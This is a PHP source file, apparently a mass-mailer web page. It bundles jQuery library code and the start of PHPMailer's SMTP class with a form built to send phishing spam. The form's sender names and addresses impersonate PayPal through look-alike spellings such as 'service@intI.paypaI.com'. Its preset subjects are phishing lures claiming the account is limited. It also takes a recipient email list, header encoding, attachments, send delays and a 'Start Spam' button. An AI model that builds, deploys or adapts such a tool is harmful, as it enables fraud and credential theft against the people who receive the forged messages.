5897 globalEventContext.trigger("ajaxSend", [jqXHR, s])
5898 }
5899 if (s.async && s.timeout > 0) {
5900 timeoutTimer = setTimeout(function() {
5901 jqXHR.abort("timeout")
5902 }, s.timeout)
5903 }
5904 try {
5905 state = 1;
5906 transport.send(requestHeaders, done)
5907 } catch (e) {
5908 if (state < 2) {
5909 done(-1, e)
5910 } else {
5911 throw e;
5912 }
5913 }
5914 }
5915
5916 function done(status, nativeStatusText, responses, headers) {
5917 var isSuccess, success, error, response, modified, statusText = nativeStatusText;
5918 if (state === 2) {
5919 return
5920 }
5921 state = 2;
5922 if (timeoutTimer) {
5923 clearTimeout(timeoutTimer)
5924 }
5925 transport = undefined;
5926 responseHeadersString = headers || "";
5927 jqXHR.readyState = status > 0 ? 4 : 0;
5928 isSuccess = status >= 200 && status < 300 || status === 304;
5929 if (responses) {
5930 response = ajaxHandleResponses(s, jqXHR, responses)
5931 }
5932 response = ajaxConvert(s, response, jqXHR, isSuccess);
5933 if (isSuccess) {
5934 if (s.ifModified) {
5935 modified = jqXHR.getResponseHeader("Last-Modified");
5936 if (modified) {
5937 jQuery.lastModified[cacheURL] = modified
5938 }
5939 modified = jqXHR.getResponseHeader("etag");
5940 if (modified) {
5941 jQuery.etag[cacheURL] = modified
5942 }
5943 }
5944 if (status === 204 || s.type === "HEAD") {
5945 statusText = "nocontent"
5946 } else if (status === 304) {
5947 statusText = "notmodified"
5948 } else {
5949 statusText = response.state;
5950 success = response.data;
5951 error = response.error;
5952 isSuccess = !error
5953 }
5954 } else {
5955 error = statusText;
5956 if (status || !statusText) {
5957 statusText = "error";
5958 if (status < 0) {
5959 status = 0
5960 }
5961 }
5962 }
5963 jqXHR.status = status;
5964 jqXHR.statusText = (nativeStatusText || statusText) + "";
5965 if (isSuccess) {
5966 deferred.resolveWith(callbackContext, [success, statusText, jqXHR])
5967 } else {
5968 deferred.rejectWith(callbackContext, [jqXHR, statusText, error])
5969 }
5970 jqXHR.statusCode(statusCode);
5971 statusCode = undefined;
5972 if (fireGlobals) {
5973 globalEventContext.trigger(isSuccess ? "ajaxSuccess" : "ajaxError", [jqXHR, s, isSuccess ? success : error])
5974 }
5975 completeDeferred.fireWith(callbackContext, [jqXHR, statusText]);
5976 if (fireGlobals) {
5977 globalEventContext.trigger("ajaxComplete", [jqXHR, s]);
5978 if (!(--jQuery.active)) {
5979 jQuery.event.trigger("ajaxStop")
5980 }
5981 }
5982 }
5983 return jqXHR
5984 },
5985 getJSON: function(url, data, callback) {
5986 return jQuery.get(url, data, callback, "json")
5987 },
5988 getScript: function(url, callback) {
5989 return jQuery.get(url, undefined, callback, "script")
5990 }
5991 });
5992 jQuery.each(["get", "post"], function(i, method) {
5993 jQuery[method] = function(url, data, callback, type) {
5994 if (jQuery.isFunction(data)) {
5995 type = type || callback;
5996 callback = data;
5997 data = undefined
5998 }
5999 return jQuery.ajax({
6000 url: url,
6001 type: method,
6002 dataType: type,
6003 data: data,
6004 success: callback
6005 })
6006 }
6007 });
6008 jQuery._evalUrl = function(url) {
6009 return jQuery.ajax({
6010 url: url,
6011 type: "GET",
6012 dataType: "script",
6013 async: false,
6014 global: false,
6015 "throws": true
6016 })
6017 };
6018 jQuery.fn.extend({
6019 wrapAll: function(html) {
6020 if (jQuery.isFunction(html)) {
6021 return this.each(function(i) {
6022 jQuery(this).wrapAll(html.call(this, i))
6023 })
6024 }
6025 if (this[0]) {
6026 var wrap = jQuery(html, this[0].ownerDocument).eq(0).clone(true);
6027 if (this[0].parentNode) {
6028 wrap.insertBefore(this[0])
6029 }
6030 wrap.map(function() {
6031 var elem = this;
6032 while (elem.firstChild && elem.firstChild.nodeType === 1) {
6033 elem = elem.firstChild
6034 }
6035 return elem
6036 }).append(this)
6037 }
6038 return this
6039 },
6040 wrapInner: function(html) {
6041 if (jQuery.isFunction(html)) {
6042 return this.each(function(i) {
6043 jQuery(this).wrapInner(html.call(this, i))
6044 })
6045 }
6046 return this.each(function() {
6047 var self = jQuery(this),
6048 contents = self.contents();
6049 if (contents.length) {
6050 contents.wrapAll(html)
6051 } else {
6052 self.append(html)
6053 }
6054 })
6055 },
6056 wrap: function(html) {
6057 var isFunction = jQuery.isFunction(html);
6058 return this.each(function(i) {
6059 jQuery(this).wrapAll(isFunction ? html.call(this, i) : html)
6060 })
6061 },
6062 unwrap: function() {
6063 return this.parent().each(function() {
6064 if (!jQuery.nodeName(this, "body")) {
6065 jQuery(this).replaceWith(this.childNodes)
6066 }
6067 }).end()
6068 }
6069 });
6070 jQuery.expr.filters.hidden = function(elem) {
6071 return elem.offsetWidth <= 0 && elem.offsetHeight <= 0 || (!support.reliableHiddenOffsets() && ((elem.style && elem.style.display) || jQuery.css(elem, "display")) === "none")
6072 };
6073 jQuery.expr.filters.visible = function(elem) {
6074 return !jQuery.expr.filters.hidden(elem)
6075 };
6076 var r20 = /%20/g,
6077 rbracket = /\[\]$/,
6078 rCRLF = /\r?\n/g,
6079 rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
6080 rsubmittable = /^(?:input|select|textarea|keygen)/i;
6081
6082 function buildParams(prefix, obj, traditional, add) {
6083 var name;
6084 if (jQuery.isArray(obj)) {
6085 jQuery.each(obj, function(i, v) {
6086 if (traditional || rbracket.test(prefix)) {
6087 add(prefix, v)
6088 } else {
6089 buildParams(prefix + "[" + (typeof v === "object" ? i : "") + "]", v, traditional, add)
6090 }
6091 })
6092 } else if (!traditional && jQuery.type(obj) === "object") {
6093 for (name in obj) {
6094 buildParams(prefix + "[" + name + "]", obj[name], traditional, add)
6095 }
6096 } else {
6097 add(prefix, obj)
6098 }
6099 }
6100 jQuery.param = function(a, traditional) {
6101 var prefix, s = [],
6102 add = function(key, value) {
6103 value = jQuery.isFunction(value) ? value() : (value == null ? "" : value);
6104 s[s.length] = encodeURIComponent(key) + "=" + encodeURIComponent(value)
6105 };
6106 if (traditional === undefined) {
6107 traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional
6108 }
6109 if (jQuery.isArray(a) || (a.jquery && !jQuery.isPlainObject(a))) {
6110 jQuery.each(a, function() {
6111 add(this.name, this.value)
6112 })
6113 } else {
6114 for (prefix in a) {
6115 buildParams(prefix, a[prefix], traditional, add)
6116 }
6117 }
6118 return s.join("&").replace(r20, "+")
6119 };
6120 jQuery.fn.extend({
6121 serialize: function() {
6122 return jQuery.param(this.serializeArray())
6123 },
6124 serializeArray: function() {
6125 return this.map(function() {
6126 var elements = jQuery.prop(this, "elements");
6127 return elements ? jQuery.makeArray(elements) : this
6128 }).filter(function() {
6129 var type = this.type;
6130 return this.name && !jQuery(this).is(":disabled") && rsubmittable.test(this.nodeName) && !rsubmitterTypes.test(type) && (this.checked || !rcheckableType.test(type))
6131 }).map(function(i, elem) {
6132 var val = jQuery(this).val();
6133 return val == null ? null : jQuery.isArray(val) ? jQuery.map(val, function(val) {
6134 return {
6135 name: elem.name,
6136 value: val.replace(rCRLF, "\r\n")
6137 }
6138 }) : {
6139 name: elem.name,
6140 value: val.replace(rCRLF, "\r\n")
6141 }
6142 }).get()
6143 }
6144 });
6145 jQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ? function() {
6146 return !this.isLocal && /^(get|post|head|put|delete|options)$/i.test(this.type) && createStandardXHR() || createActiveXHR()
6147 } : createStandardXHR;
6148 var xhrId = 0,
6149 xhrCallbacks = {},
6150 xhrSupported = jQuery.ajaxSettings.xhr();
6151 if (window.attachEvent) {
6152 window.attachEvent("onunload", function() {
6153 for (var key in xhrCallbacks) {
6154 xhrCallbacks[key](undefined, true)
6155 }
6156 })
6157 }
6158 support.cors = !!xhrSupported && ("withCredentials" in xhrSupported);
6159 xhrSupported = support.ajax = !!xhrSupported;
6160 if (xhrSupported) {
6161 jQuery.ajaxTransport(function(options) {
6162 if (!options.crossDomain || support.cors) {
6163 var callback;
6164 return {
6165 send: function(headers, complete) {
6166 var i, xhr = options.xhr(),
6167 id = ++xhrId;
6168 xhr.open(options.type, options.url, options.async, options.username, options.password);
6169 if (options.xhrFields) {
6170 for (i in options.xhrFields) {
6171 xhr[i] = options.xhrFields[i]
6172 }
6173 }
6174 if (options.mimeType && xhr.overrideMimeType) {
6175 xhr.overrideMimeType(options.mimeType)
6176 }
6177 if (!options.crossDomain && !headers["X-Requested-With"]) {
6178 headers["X-Requested-With"] = "XMLHttpRequest"
6179 }
6180 for (i in headers) {
6181 if (headers[i] !== undefined) {
6182 xhr.setRequestHeader(i, headers[i] + "")
6183 }
6184 }
6185 xhr.send((options.hasContent && options.data) || null);
6186 callback = function(_, isAbort) {
6187 var status, statusText, responses;
6188 if (callback && (isAbort || xhr.readyState === 4)) {
6189 delete xhrCallbacks[id];
6190 callback = undefined;
6191 xhr.onreadystatechange = jQuery.noop;
6192 if (isAbort) {
6193 if (xhr.readyState !== 4) {
6194 xhr.abort()
6195 }
6196 } else {
6197 responses = {};
6198 status = xhr.status;
6199 if (typeof xhr.responseText === "string") {
6200 responses.text = xhr.responseText
6201 }
6202 try {
6203 statusText = xhr.statusText
6204 } catch (e) {
6205 statusText = ""
6206 }
6207 if (!status && options.isLocal && !options.crossDomain) {
6208 status = responses.text ? 200 : 404
6209 } else if (status === 1223) {
6210 status = 204
6211 }
6212 }
6213 }
6214 if (responses) {
6215 complete(status, statusText, responses, xhr.getAllResponseHeaders())
6216 }
6217 };
6218 if (!options.async) {
6219 callback()
6220 } else if (xhr.readyState === 4) {
6221 setTimeout(callback)
6222 } else {
6223 xhr.onreadystatechange = xhrCallbacks[id] = callback
6224 }
6225 },
6226 abort: function() {
6227 if (callback) {
6228 callback(undefined, true)
6229 }
6230 }
6231 }
6232 }
6233 })
6234 }
6235 function createStandardXHR() {
6236 try {
6237 return new window.XMLHttpRequest()
6238 } catch (e) {}
6239 }
6240
6241 function createActiveXHR() {
6242 try {
6243 return new window.ActiveXObject("Microsoft.XMLHTTP")
6244 } catch (e) {}
6245 }
6246 jQuery.ajaxSetup({
6247 accepts: {
6248 script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
6249 },
6250 contents: {
6251 script: /(?:java|ecma)script/
6252 },
6253 converters: {
6254 "text script": function(text) {
6255 jQuery.globalEval(text);
6256 return text
6257 }
6258 }
6259 });
6260 jQuery.ajaxPrefilter("script", function(s) {
6261 if (s.cache === undefined) {
6262 s.cache = false
6263 }
6264 if (s.crossDomain) {
6265 s.type = "GET";
6266 s.global = false
6267 }
6268 });
6269 jQuery.ajaxTransport("script", function(s) {
6270 if (s.crossDomain) {
6271 var script, head = document.head || jQuery("head")[0] || document.documentElement;
6272 return {
6273 send: function(_, callback) {
6274 script = document.createElement("script");
6275 script.async = true;
6276 if (s.scriptCharset) {
6277 script.charset = s.scriptCharset
6278 }
6279 script.src = s.url;
6280 script.onload = script.onreadystatechange = function(_, isAbort) {
6281 if (isAbort || !script.readyState || /loaded|complete/.test(script.readyState)) {
6282 script.onload = script.onreadystatechange = null;
6283 if (script.parentNode) {
6284 script.parentNode.removeChild(script)
6285 }
6286 script = null;
6287 if (!isAbort) {
6288 callback(200, "success")
6289 }
6290 }
6291 };
6292 head.insertBefore(script, head.firstChild)
6293 },
6294 abort: function() {
6295 if (script) {
6296 script.onload(undefined, true)
6297 }
6298 }
6299 }
6300 }
6301 });
6302 var oldCallbacks = [],
6303 rjsonp = /(=)\?(?=&|$)|\?\?/;
6304 jQuery.ajaxSetup({
6305 jsonp: "callback",
6306 jsonpCallback: function() {
6307 var callback = oldCallbacks.pop() || (jQuery.expando + "_" + (nonce++));
6308 this[callback] = true;
6309 return callback
6310 }
6311 });
6312 jQuery.ajaxPrefilter("json jsonp", function(s, originalSettings, jqXHR) {
6313 var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && (rjsonp.test(s.url) ? "url" : typeof s.data === "string" && !(s.contentType || "").indexOf("application/x-www-form-urlencoded") && rjsonp.test(s.data) && "data");
6314 if (jsonProp || s.dataTypes[0] === "jsonp") {
6315 callbackName = s.jsonpCallback = jQuery.isFunction(s.jsonpCallback) ? s.jsonpCallback() : s.jsonpCallback;
6316 if (jsonProp) {
6317 s[jsonProp] = s[jsonProp].replace(rjsonp, "$1" + callbackName)
6318 } else if (s.jsonp !== false) {
6319 s.url += (rquery.test(s.url) ? "&" : "?") + s.jsonp + "=" + callbackName
6320 }
6321 s.converters["script json"] = function() {
6322 if (!responseContainer) {
6323 jQuery.error(callbackName + " was not called")
6324 }
6325 return responseContainer[0]
6326 };
6327 s.dataTypes[0] = "json";
6328 overwritten = window[callbackName];
6329 window[callbackName] = function() {
6330 responseContainer = arguments
6331 };
6332 jqXHR.always(function() {
6333 window[callbackName] = overwritten;
6334 if (s[callbackName]) {
6335 s.jsonpCallback = originalSettings.jsonpCallback;
6336 oldCallbacks.push(callbackName)
6337 }
6338 if (responseContainer && jQuery.isFunction(overwritten)) {
6339 overwritten(responseContainer[0])
6340 }
6341 responseContainer = overwritten = undefined
6342 });
6343 return "script"
6344 }
6345 });
6346 jQuery.parseHTML = function(data, context, keepScripts) {
6347 if (!data || typeof data !== "string") {
6348 return null
6349 }
6350 if (typeof context === "boolean") {
6351 keepScripts = context;
6352 context = false
6353 }
6354 context = context || document;
6355 var parsed = rsingleTag.exec(data),
6356 scripts = !keepScripts && [];
6357 if (parsed) {
6358 return [context.createElement(parsed[1])]
6359 }
6360 parsed = jQuery.buildFragment([data], context, scripts);
6361 if (scripts && scripts.length) {
6362 jQuery(scripts).remove()
6363 }
6364 return jQuery.merge([], parsed.childNodes)
6365 };
6366 var _load = jQuery.fn.load;
6367 jQuery.fn.load = function(url, params, callback) {
6368 if (typeof url !== "string" && _load) {
6369 return _load.apply(this, arguments)
6370 }
6371 var selector, response, type, self = this,
6372 off = url.indexOf(" ");
6373 if (off >= 0) {
6374 selector = jQuery.trim(url.slice(off, url.length));
6375 url = url.slice(0, off)
6376 }
6377 if (jQuery.isFunction(params)) {
6378 callback = params;
6379 params = undefined
6380 } else if (params && typeof params === "object") {
6381 type = "POST"
6382 }
6383 if (self.length > 0) {
6384 jQuery.ajax({
6385 url: url,
6386 type: type,
6387 dataType: "html",
6388 data: params
6389 }).done(function(responseText) {
6390 response = arguments;
6391 self.html(selector ? jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector) : responseText)
6392 }).complete(callback && function(jqXHR, status) {
6393 self.each(callback, response || [jqXHR.responseText, status, jqXHR])
6394 })
6395 }
6396 return this
6397 };
6398 jQuery.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(i, type) {
6399 jQuery.fn[type] = function(fn) {
6400 return this.on(type, fn)
6401 }
6402 });
6403 jQuery.expr.filters.animated = function(elem) {
6404 return jQuery.grep(jQuery.timers, function(fn) {
6405 return elem === fn.elem
6406 }).length
6407 };
6408 var docElem = window.document.documentElement;
6409
6410 function getWindow(elem) {
6411 return jQuery.isWindow(elem) ? elem : elem.nodeType === 9 ? elem.defaultView || elem.parentWindow : false
6412 }
6413 jQuery.offset = {
6414 setOffset: function(elem, options, i) {
6415 var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css(elem, "position"),
6416 curElem = jQuery(elem),
6417 props = {};
6418 if (position === "static") {
6419 elem.style.position = "relative"
6420 }
6421 curOffset = curElem.offset();
6422 curCSSTop = jQuery.css(elem, "top");
6423 curCSSLeft = jQuery.css(elem, "left");
6424 calculatePosition = (position === "absolute" || position === "fixed") && jQuery.inArray("auto", [curCSSTop, curCSSLeft]) > -1;
6425 if (calculatePosition) {
6426 curPosition = curElem.position();
6427 curTop = curPosition.top;
6428 curLeft = curPosition.left
6429 } else {
6430 curTop = parseFloat(curCSSTop) || 0;
6431 curLeft = parseFloat(curCSSLeft) || 0
6432 }
6433 if (jQuery.isFunction(options)) {
6434 options = options.call(elem, i, curOffset)
6435 }
6436 if (options.top != null) {
6437 props.top = (options.top - curOffset.top) + curTop
6438 }
6439 if (options.left != null) {
6440 props.left = (options.left - curOffset.left) + curLeft
6441 }
6442 if ("using" in options) {
6443 options.using.call(elem, props)
6444 } else {
6445 curElem.css(props)
6446 }
6447 }
6448 };
6449 jQuery.fn.extend({
6450 offset: function(options) {
6451 if (arguments.length) {
6452 return options === undefined ? this : this.each(function(i) {
6453 jQuery.offset.setOffset(this, options, i)
6454 })
6455 }
6456 var docElem, win, box = {
6457 top: 0,
6458 left: 0
6459 },
6460 elem = this[0],
6461 doc = elem && elem.ownerDocument;
6462 if (!doc) {
6463 return
6464 }
6465 docElem = doc.documentElement;
6466 if (!jQuery.contains(docElem, elem)) {
6467 return box
6468 }
6469 if (typeof elem.getBoundingClientRect !== strundefined) {
6470 box = elem.getBoundingClientRect()
6471 }
6472 win = getWindow(doc);
6473 return {
6474 top: box.top + (win.pageYOffset || docElem.scrollTop) - (docElem.clientTop || 0),
6475 left: box.left + (win.pageXOffset || docElem.scrollLeft) - (docElem.clientLeft || 0)
6476 }
6477 },
6478 position: function() {
6479 if (!this[0]) {
6480 return
6481 }
6482 var offsetParent, offset, parentOffset = {
6483 top: 0,
6484 left: 0
6485 },
6486 elem = this[0];
6487 if (jQuery.css(elem, "position") === "fixed") {
6488 offset = elem.getBoundingClientRect()
6489 } else {
6490 offsetParent = this.offsetParent();
6491 offset = this.offset();
6492 if (!jQuery.nodeName(offsetParent[0], "html")) {
6493 parentOffset = offsetParent.offset()
6494 }
6495 parentOffset.top += jQuery.css(offsetParent[0], "borderTopWidth", true);
6496 parentOffset.left += jQuery.css(offsetParent[0], "borderLeftWidth", true)
6497 }
6498 return {
6499 top: offset.top - parentOffset.top - jQuery.css(elem, "marginTop", true),
6500 left: offset.left - parentOffset.left - jQuery.css(elem, "marginLeft", true)
6501 }
6502 },
6503 offsetParent: function() {
6504 return this.map(function() {
6505 var offsetParent = this.offsetParent || docElem;
6506 while (offsetParent && (!jQuery.nodeName(offsetParent, "html") && jQuery.css(offsetParent, "position") === "static")) {
6507 offsetParent = offsetParent.offsetParent
6508 }
6509 return offsetParent || docElem
6510 })
6511 }
6512 });
6513 jQuery.each({
6514 scrollLeft: "pageXOffset",
6515 scrollTop: "pageYOffset"
6516 }, function(method, prop) {
6517 var top = /Y/.test(prop);
6518 jQuery.fn[method] = function(val) {
6519 return access(this, function(elem, method, val) {
6520 var win = getWindow(elem);
6521 if (val === undefined) {
6522 return win ? (prop in win) ? win[prop] : win.document.documentElement[method] : elem[method]
6523 }
6524 if (win) {
6525 win.scrollTo(!top ? val : jQuery(win).scrollLeft(), top ? val : jQuery(win).scrollTop())
6526 } else {
6527 elem[method] = val
6528 }
6529 }, method, val, arguments.length, null)
6530 }
6531 });
6532 jQuery.each(["top", "left"], function(i, prop) {
6533 jQuery.cssHooks[prop] = addGetHookIf(support.pixelPosition, function(elem, computed) {
6534 if (computed) {
6535 computed = curCSS(elem, prop);
6536 return rnumnonpx.test(computed) ? jQuery(elem).position()[prop] + "px" : computed
6537 }
6538 })
6539 });
6540 jQuery.each({
6541 Height: "height",
6542 Width: "width"
6543 }, function(name, type) {
6544 jQuery.each({
6545 padding: "inner" + name,
6546 content: type,
6547 "": "outer" + name
6548 }, function(defaultExtra, funcName) {
6549 jQuery.fn[funcName] = function(margin, value) {
6550 var chainable = arguments.length && (defaultExtra || typeof margin !== "boolean"),
6551 extra = defaultExtra || (margin === true || value === true ? "margin" : "border");
6552 return access(this, function(elem, type, value) {
6553 var doc;
6554 if (jQuery.isWindow(elem)) {
6555 return elem.document.documentElement["client" + name]
6556 }
6557 if (elem.nodeType === 9) {
6558 doc = elem.documentElement;
6559 return Math.max(elem.body["scroll" + name], doc["scroll" + name], elem.body["offset" + name], doc["offset" + name], doc["client" + name])
6560 }
6561 return value === undefined ? jQuery.css(elem, type, extra) : jQuery.style(elem, type, value, extra)
6562 }, type, chainable ? margin : undefined, chainable, null)
6563 }
6564 })
6565 });
6566 jQuery.fn.size = function() {
6567 return this.length
6568 };
6569 jQuery.fn.andSelf = jQuery.fn.addBack;
6570 if (typeof define === "function" && define.amd) {
6571 define("jquery", [], function() {
6572 return jQuery
6573 })
6574 }
6575 var _jQuery = window.jQuery,
6576 _$ = window.$;
6577 jQuery.noConflict = function(deep) {
6578 if (window.$ === jQuery) {
6579 window.$ = _$
6580 }
6581 if (deep && window.jQuery === jQuery) {
6582 window.jQuery = _jQuery
6583 }
6584 return jQuery
6585 };
6586 if (typeof noGlobal === strundefined) {
6587 window.jQuery = window.$ = jQuery
6588 }
6589 return jQuery
6590 }));
6591
6592 </script>
6593 </div>
6594 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6595 <div style="margin-bottom: 10px" class="input-group">
6596 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
6597 <select class="form-control" name="type">
6598 <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
6599 <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
6600 </select>
6601 </div>
6602 <div style="margin-bottom: 10px" class="input-group">
6603 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6604 <select class="form-control" onChange="Pilih4(this);">
6605 <option value="">No X-Mailer</option>
6606 <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
6607 <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
6608 <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
6609 <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
6610 </select>
6611 <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?php echo $xmailer;?>" placeholder="X-Mailer">
6612 </div>
6613 </div>
6614 </div>
6615
6616 <div class="col-sm-8" style="padding-right: 7.5px !important;">
6617
6618 <div style="margin-bottom: 10px" class="input-group">
6619 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
6620 <select class="form-control" onChange="Pilih1(this);">
6621 <option value="">Select Sender Name</option>
6622 <option value="PayPaI">PayPaI</option>
6623 <option value="PaypaI Service">PaypaI Service</option>
6624 <option value="PaypaI Support">PaypaI Support</option>
6625 <option value="Account Service">Account Service</option>
6626 <option value="Account Support">Account Support</option>
6627 <option value="Service">Service</option>
6628 </select>
6629 <input id="sender-name" type="text" class="form-control" name="nama" value="<?php echo $nama;?>" placeholder="Sender Name">
6630 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6631 <select class="form-control kanan" onChange="Pilih2(this);">
6632 <option value="">Select Sender Email</option>
6633 <option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
6634 <option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
6635 <option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
6636 <option value="no-reply">no-reply</option>
6637 <option value="admin">admin</option>
6638 <option value="service">service</option>
6639 <option value="same as target">same as target</option>
6640
6641 </select>
6642 <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?php echo $email;?>" placeholder="Sender Email">
6643 </div>
6644
6645 <div style="margin-bottom: 10px" class="input-group">
6646 <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
6647 <select class="form-control kanan" onChange="Pilih3(this);">ge
6648 <option value="">Select Email Subject</option>
6649 <option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
6650 <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
6651 <option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
6652 <option value="Account Notification">Account Notification</option>
6653 <option value="Attention: Your account status change">Attention: Your account status change</option>
6654
6655 </select>
6656 <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?php echo $subject;?>" placeholder="Subject">
6657 </div>
6658
6659 <div style="margin-bottom: 5px" class="input-group">
6660 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
6661 <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
6662 <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
6663 <select class="form-control" name="encode">
6664 <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
6665 <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
6666 <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
6667 <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
6668 <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
6669 <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
6670 </select>
6671 </div>
6672 <div style="margin-bottom: 10px" class="input-group">
6673 <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
6674 <textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?php echo $pesan;?></textarea>
6675 </div>
6676 <div style="margin-bottom: 10px" class="input-group">
6677 <input type="submit" class="btn btn-success" name="action" value="Start Spam">
6678 <font color="white">Next send after </font>
6679 <input type="text" name="wait" value="<?php echo $wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6680 <font color="white">(second) | Reconnect After
6681 <input type="text" name="reconnect" value="<?php echo $reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6682 <font color="white">(emails)</font>
6683 </div>
6684
6685 </div>
6686 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6687
6688 <div style="margin-bottom: 10px" class="input-group">
6689 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
6690 <select class="form-control" name="encoding">
6691 <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
6692 <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
6693 </select>
6694 </div>
6695 <div style="margin-bottom: 10px" class="input-group">
6696 <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
6697 <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?php echo $emaillist;?></textarea>
6698 </div>
6699
6700 </div>
6701 <div class="form-group">
6702 </div>
6703
6704 </form>
6705
6706 </div>
6707 </div>
6708<?php
6709
6710if ($action){
6711
6712 if (!$from && !$subject && !$message && !$emaillist) {
6713 print "<script>alert('Please complete all fields before sending your message.'); </script>";
6714 die();
6715 }
6716
6717 if ($_POST['encoding']=='yes') {
6718 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
6719 $subject = str_replace(' ', '=20', $subject);
6720 $subject = "=?utf-8?Q?$subject?=";
6721 $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
6722 $nama = str_replace(' ', '=20', $nama);
6723 $nama = "=?utf-8?Q?$nama?=";
6724 }
6725
6726 $allemails = split("\n", $emaillist);
6727 $numemails = count($allemails);
6728
6729
6730 function xflush()
6731 {
6732 static $output_handler = null;
6733 if ($output_handler === null) {
6734 $output_handler = @ini_get('output_handler');
6735 }
6736 if ($output_handler == 'ob_gzhandler') {
6737 return;
6738 }
6739 flush();
6740 if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
6741 @ob_flush();
6742 } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
6743 @ob_end_flush();
6744 @ob_start();
6745 }
6746 }
6747?>
6748<?php
6749/**
6750 * PHPMailer RFC821 SMTP email transport class.
6751 * PHP Version 5
6752 * @package PHPMailer
6753 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
6754 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
6755 * @author Jim Jagielski (jimjag) <>
6756 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
6757 * @author Brent R. Matzelle (original founder)
6758 * @copyright 2014 Marcus Bointon
6759 * @copyright 2010 - 2012 Jim Jagielski
6760 * @copyright 2004 - 2009 Andy Prevost
6761 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
6762 * @note This program is distributed in the hope that it will be useful - WITHOUT
6763 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
6764 * FITNESS FOR A PARTICULAR PURPOSE.
6765 */
6766
6767/**
6768 * PHPMailer RFC821 SMTP email transport class.
6769 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
6770 * @package PHPMailer
6771 * @author Chris Ryan
6772 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
6773 */
6774class SMTP
6775{
6776 /**
6777 * The PHPMailer SMTP version number.
6778 * @type string
6779 */
6780 const VERSION = '5.2.9';
6781
6782 /**
6783 * SMTP line break constant.
6784 * @type string
6785 */
6786 const CRLF = "\r\n";
6787
6788 /**
6789 * The SMTP port to use if one is not specified.
6790 * @type integer
6791 */
6792 const DEFAULT_SMTP_PORT = 25;
6793
6794 /**
6795 * The maximum line length allowed by RFC 2822 section 2.1.1
6796 * @type integer
6797 */
6798 const MAX_LINE_LENGTH = 998;
6799
6800 /**
6801 * Debug level for no output
6802 */
6803 const DEBUG_OFF = 0;
6804
6805 /**
6806 * Debug level to show client -> server messages
6807 */
6808 const DEBUG_CLIENT = 1;
6809
6810 /**
6811 * Debug level to show client -> server and server -> client messages
6812 */
6813 const DEBUG_SERVER = 2;
6814
6815 /**
6816 * Debug level to show connection status, client -> server and server -> client messages
6817 */
6818 const DEBUG_CONNECTION = 3;
6819
6820 /**
6821 * Debug level to show all messages
6822 */
6823 const DEBUG_LOWLEVEL = 4;
6824
6825 /**
